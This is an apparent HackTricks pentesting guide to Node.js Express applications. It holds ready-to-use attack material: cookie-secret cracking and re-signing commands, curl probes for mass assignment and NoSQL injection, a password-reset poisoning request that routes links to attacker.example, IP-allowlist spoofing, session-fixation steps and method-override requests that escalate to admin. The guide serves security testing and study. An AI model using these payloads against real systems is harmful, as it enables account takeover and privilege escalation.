NodeJS Express

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Quick Fingerprinting

Useful Express indicators during recon:

  • X-Powered-By: Express or stack traces mentioning express, body-parser, qs, cookie-parser, express-session, or finalhandler
  • Cookies prefixed with s: (signed cookie) or j: (JSON cookie)
  • Session cookies such as connect.sid
  • Hidden form fields or query parameters such as _method=PUT / _method=DELETE
  • Error pages leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, or URIError during query parsing

When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Express commonly exposes two useful cookie formats:

  • s:<value>.<sig> signed cookies handled by cookie-parser or express-session
  • j:<json> JSON cookies that are automatically parsed by cookie-parser

If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Custom wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Test multiple cookies using batch mode

cookie-monster -b -f cookies.json

Test multiple cookies using batch mode with a custom wordlist

cookie-monster -b -f cookies.json -w custom.lst

If you know the secret you can sign the cookie.

cookie-monster -e -f new_cookie.json -k secret

Query String and URL-Encoded Parser Abuse

Express targets often become interesting when they parse attacker-controlled keys into nested objects.

  • req.query can be configured with different parsers, including qs
  • express.urlencoded({ extended: true }) uses qs-style parsing for application/x-www-form-urlencoded
  • Nested parsing unlocks object injection, mass assignment, NoSQL injection, and prototype pollution chains if the parsed object is merged into application state

Practical payloads to try:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

If the app reflects or persists the resulting object, pivot into the dedicated pages for exploitation details:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Extra tests that are worth sending against Express specifically:

  • Deep nesting to look for parser limits, timeouts, or 400/413 differences
  • Duplicate keys to see whether the app keeps the first value, the last one, or an array
  • Bracket syntax such as a[b][c]=1, dotted syntax such as a.b=1, and __proto__ / constructor[prototype] payloads

trust proxy Abuse

If the app uses app.set("trust proxy", true) or trusts too many hops, Express will derive security-relevant values from forwarding headers. If the reverse proxy does not overwrite them, a client can spoof them directly.

That affects:

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

This is useful for:

  • Password reset poisoning and absolute URL poisoning
  • Bypassing IP-based allowlists, rate limits, or audit trails
  • Influencing secure cookie handling and HTTPS-only logic in apps that key off req.protocol
  • Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Check whether generated links, redirect locations, logs, or access-control decisions now use attacker-supplied values.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session Testing Notes

Common Express deployments use express-session, which signs the session identifier cookie but stores the real state server-side.

Useful checks:

  • Session fixation: authenticate with a pre-login cookie and verify whether the SID stays the same after login
  • Weak secret rotation: some deployments verify cookies with an array of old secrets, so previously valid signatures may continue to work
  • saveUninitialized: true: the application issues pre-auth sessions to anonymous users, which makes fixation easier and increases session surface for brute-force or cache analysis
  • MemoryStore in production usually indicates weak operational maturity and unstable session behavior during restarts

A practical fixation workflow:

  1. Obtain an anonymous session cookie from the target.
  2. Send that cookie to a victim or authenticate with it yourself.
  3. Check whether login binds the authenticated state to the existing SID.
  4. If it does, replay the same cookie in a separate browser session.

If the app does not call req.session.regenerate() after authentication, fixation is often still possible.

Method Override Tunneling

Some Express apps use method-override to tunnel verbs that HTML forms cannot send natively. When enabled, always test whether you can smuggle dangerous methods through a route that the front-end, WAF, or CSRF logic assumed was only POST.

Typical probes:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Interesting impacts:

  • Reaching hidden PUT / PATCH / DELETE routes through a POST-only edge control
  • Bypassing route-specific middleware that only checks req.method
  • Triggering state-changing handlers via CSRF when the application validates only the outer request method

By default the middleware usually only overrides POST, so prioritize POST requests with header, body, and query-string override values.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks